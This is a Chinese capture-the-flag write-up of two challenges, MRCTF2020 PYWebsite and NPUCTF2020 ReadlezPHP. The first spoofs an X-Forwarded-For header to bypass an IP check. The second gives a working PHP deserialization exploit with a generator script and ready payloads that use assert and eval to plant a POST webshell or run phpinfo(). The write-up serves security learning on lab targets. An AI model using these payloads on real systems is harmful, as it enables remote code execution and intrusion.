[MRCTF2020] PYWebsite
考点:
X-Forwarded-For
启动环境:
提示需要购买flag,查看网页源码时,发现:
<script>
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
</script>
通过验证后将跳转到flag.php页面,访问flag.php页面:
提示在后端验证了IP,还提示了需要购买者或自己IP,猜测可能是对X-Forward-For做了验证,使用BurpSuite抓取数据包:
在请求信息中添加:X-Forwarded-For: 127.0.0.1,发送数据包,得到flag:
[NPUCTF2020]ReadlezPHP -wp
查看一下源码,发现time.php?souce=
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
一个反序列
观察下__destruct()魔术方法
属性b包裹住属性a
刚好可以传个木马进去
利用assert()函数
assert() 断言函数
assert详细介绍
assert 判断一个表达式是否成立
assert()可以将整个字符串参数当作php参数执行。
所以构造木马
assert(eval($_POST[penson]);)
序列化一下
<?php
error_reporting(1);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$test = new HelloPhp();
$test->b = 'assert';
$test->a = 'eval($_POST[penson]);';
echo urlencode(serialize($test));
?>
payload:
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A21%3A%22eval%28%24_POST%5Bpenson%5D%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
蚁剑连接啥都没有…
去看看phpinfo
还是没有啥过滤,直接搜flag (Ctrl+f查找flag即可)
最后发现
这里不用一句话木马,可以直接传参就好。。。
很明显$b($a)
这里可供我们操作。
system好像被禁了,用assert()
简单查看到反序列化,构造序列化字符传入,用断言assert()函数来读phpinfo
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}